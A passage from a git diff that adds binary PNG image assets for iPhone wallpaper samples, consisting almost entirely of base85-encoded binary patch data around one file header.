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 cq{%lxrh_nk#U8(r%|BW=Pj8QUH_FAo0rt<8 literal 0 HcmV?d00001 diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/text7.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/text7.png new file mode 100644 index 0000000000000000000000000000000000000000..a5b307b97440c35681b4bdccc4f3721ccb9f461a GIT binary patch literal 88812 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 